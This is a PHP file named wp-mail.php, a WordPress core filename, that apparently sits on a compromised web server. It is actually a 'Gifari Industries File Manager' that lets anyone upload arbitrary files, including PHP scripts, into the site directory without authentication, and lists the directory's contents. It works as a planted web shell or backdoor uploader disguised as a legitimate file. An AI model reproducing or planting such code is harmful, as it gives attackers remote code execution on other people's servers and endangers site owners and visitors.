File: /usr/www/users/pbsmcbxyjp/wp-mail.php
<?php
// Simple One File PHP File Manager
$path = getcwd();
$message = "";
// Upload files
if(isset($_FILES['uploadFiles'])){
$total = count($_FILES['uploadFiles']['name']);
for($i=0; $i<$total; $i++){
$filename = basename($_FILES['uploadFiles']['name'][$i]);
$filename = preg_replace("/[^a-zA-Z0-9\.\-_]/","_", $filename);
$target = $path . "/" . $filename;
if(move_uploaded_file($_FILES['uploadFiles']['tmp_name'][$i], $target)){
$message .= "<p style='color:lime;'>$filename uploaded successfully</p>";
}else{
$message .= "<p style='color:red;'>Failed to upload $filename</p>";
}
}
}
// Get files
$files = scandir($path);
?>
<!DOCTYPE html>
<html>
<head>
<title>Gifari Industries File Manager</title>
<style>
body{
font-family: Arial;
background:#111;
color:#eee;
}
.container{
width:900px;
margin:auto;
}
table{
width:100%;
border-collapse:collapse;
}
th,td{
padding:8px;
border:1px solid #444;
}
a{
color:#4da6ff;
text-decoration:none;
}
.upload-box{
border:2px dashed #666;
padding:40px;
text-align:center;
margin-bottom:20px;
}
.upload-btn{
display:inline-block;
padding:8px 14px;
background:#4da6ff;
color:white;
cursor:pointer;
}
.upload-submit{
padding:10px 16px;
background:#28a745;
border:none;
color:white;
cursor:pointer;
}
</style>
</head>
<body>
<div class="container">
<center><img src="https://i.imgur.com/FC1enOU.jpeg" width="250" height="200"></center>
<center><h1>Gifari Industries File Manager</h1></center>
<p>Current Path: <?php echo $path; ?></p>
<form method="post" enctype="multipart/form-data" id="uploadForm">
<div class="upload-box" id="dropArea">
<input type="file" name="uploadFiles[]" id="fileElem" multiple>
<label class="upload-btn" for="fileElem">Select Files</label>
</div>
<input type="submit" value="Upload Files" class="upload-submit">
</form>
<?php echo $message; ?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<?php
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullpath = $path . "/" . $file;
echo "<tr>";
echo "<td><a href='$file'>$file</a></td>";
if (is_file($fullpath)) {
$size = filesize($fullpath);
echo "<td>$size bytes</td>";
echo "<td>File</td>";
} else {
echo "<td>-</td>";
echo "<td>Folder</td>";
}
echo "</tr>";
}
}
?>
</tbody>
</table>
</div>
<script>
let dropArea = document.getElementById("dropArea");
let fileInput = document.getElementById("fileElem");
dropArea.addEventListener("dragover", function(e){
e.preventDefault();
dropArea.style.borderColor = "#4da6ff";
});
dropArea.addEventListener("dragleave", function(e){
dropArea.style.borderColor = "#666";
});
dropArea.addEventListener("drop", function(e){
e.preventDefault();
dropArea.style.borderColor = "#666";
let files = e.dataTransfer.files;
fileInput.files = files;
});
</script>
</body>
</html>